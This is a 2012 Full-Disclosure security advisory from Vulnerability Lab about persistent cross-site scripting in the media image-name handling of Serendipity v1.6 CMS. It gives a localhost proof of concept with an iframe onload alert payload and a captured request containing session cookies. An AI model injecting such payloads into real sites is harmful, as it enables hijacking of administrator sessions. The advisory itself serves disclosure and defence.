[Full-disclosure] Serendipity v1.6 CMS - Multiple Web Vulnerabilities

[Research <research@xxxxxxxxxxxxxxxxxxxxx>]

Title:
======
Serendipity v1.6 CMS - Multiple Web Vulnerabilities


Date:
=====
2012-05-05


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=535


VL-ID:
=====
535


Common Vulnerability Scoring System:
====================================
5


Introduction:
=============
Serendipity is a weblog/blog system, implemented with PHP. It is standards 
compliant, feature rich 
and open source (BSD License). Serendipity is constantly under active 
development, with a team of 
talented developers trying to make the best PHP powered blog on the net. 
Serendipity has so far 
also proven 100% PHP5 compatible. Serendipity is a PHP-powered weblog 
application which gives the 
user an easy way to maintain an online diary, weblog or even a complete 
homepage. While the default 
package is designed for the casual blogger, Serendipity offers a flexible, 
expandable and easy-to-use 
framework with the power for professional applications.

(Copy of the Vendor Homepage: http://www.s9y.org )


Abstract:
=========
A Vulnerability Laboratory researcher discovered multiple web vulnerabilities 
in Serendipity v1.6 Content Management System.


Report-Timeline:
================
2012-05-05:     Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple persistent input validation vulnerabilities are detected in 
Serendipity v1.6 Content Management System. The bugs 
allow remote attackers to implement/inject malicious script code on the 
application side (persistent). Successful exploitation 
of the vulnerability can lead to session hijacking (manager/admin) or stable 
(persistent) context manipulation. Exploitation requires 
low user inter action. Attackers can inject malicious strings as author name to 
execute them when an admin is processing to preview, review 
or manage the listing of users. The bug is located on application side & the 
execution is persistent out of the user management web 
application context.

Vulnerable Module(s):
                                [+] Media - Image Name & Display

Picture(s):
                                ../1.png
                                ../2.png


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers with low required user 
inter action. For demonstration or reproduce ..

Vulnerable: 
http://127.0.0.1:8080/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new
Affected: http://127.0.0.1:8080/serendipity/a

Review: Image Name Display - Media
<ul><li><div class="image_add"><b>Adding image...</b></div></li><li>File was 
not located on the remote 
server, are you sure the URL: <b>"><iframe src="a" onload='alert("VL")' <<="" 
b=""> is correct?</li></ul></div>

    <!-- EXTERNAL MEDIA END -->

</div>
</body>
</html>
</iframe></b></li></ul>


POST: IMAGE UPLOAD + NAME

serendipity[old_session]=1vspimicug4mg0glab25l15q92;

serendipity[author_token]=4732db2a5cc1ee1b1fa39f2fd010a417e0d2d87e;

serendipity[userDefLang]=en;
serendipity[sortorder_perpage]=;

serendipity[sortorder_order]=;

serendipity[sortorder_ordermode]=;

serendipity[only_path]=iframesrcaonloadalertVL;         <=
serendipity[only_filename]=;

serendipity[entrylist_filter_author]=;

serendipity[entrylist_filter_category]=;

serendipity[entrylist_filter_isdraft]=;

serendipity[entrylist_sort_perPage]=;

serendipity[entrylist_sort_ordermode]=;

serendipity[entrylist_sort_order]=;

serendipity[addmedia_directory]=;

__utma=87180614.499031553.1335326742.1335427622.1335434663.3;

__utmc=87180614;
__utmz=87180614.1335326742.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__gads=ID=4edf2e1e70d6571e:T=1335326758:S=ALNI_MZ40f1i0Ac4MSfN7hpqBqzaNtJIlA;

gs_u=1661731922:3115:9169:1335436134683;

__utmb=87180614.4.10.1335434663;
LThttpxxxcomlifetype=e1c0opti2n6u8apo30qhgrrdq2;
PHPSESSID=p4gs3t31a4bvjnsibk7284mhv2;
s9y_6ee12d7870b99d9e22c04f0f96d39992=1vspimicug4mg0glab25l15q92



Risk:
=====
The security risk of the persistent input validation vulnerability are 
estimated as medium.


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri 
(rem0ve@xxxxxxxxxxxxxxxxxxxxx)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, 
indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have 
been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential 
or incidental damages so the foregoing limitation 
may not apply.

Domains:        www.vulnerability-lab.com   - www.vuln-lab.com
Section:        video.vulnerability-lab.com - forum.vulnerability-lab.com - 
news.vulnerability-lab.com
Contact:        admin@xxxxxxxxxxxxxxxxxxxxx - support@xxxxxxxxxxxxxxxxxxxxx - 
irc.vulnerability-lab.com

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is 
granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.

                                                Copyright © 2012 
Vulnerability-Lab




-- 
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@xxxxxxxxxxxxxxxxxxxxx


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/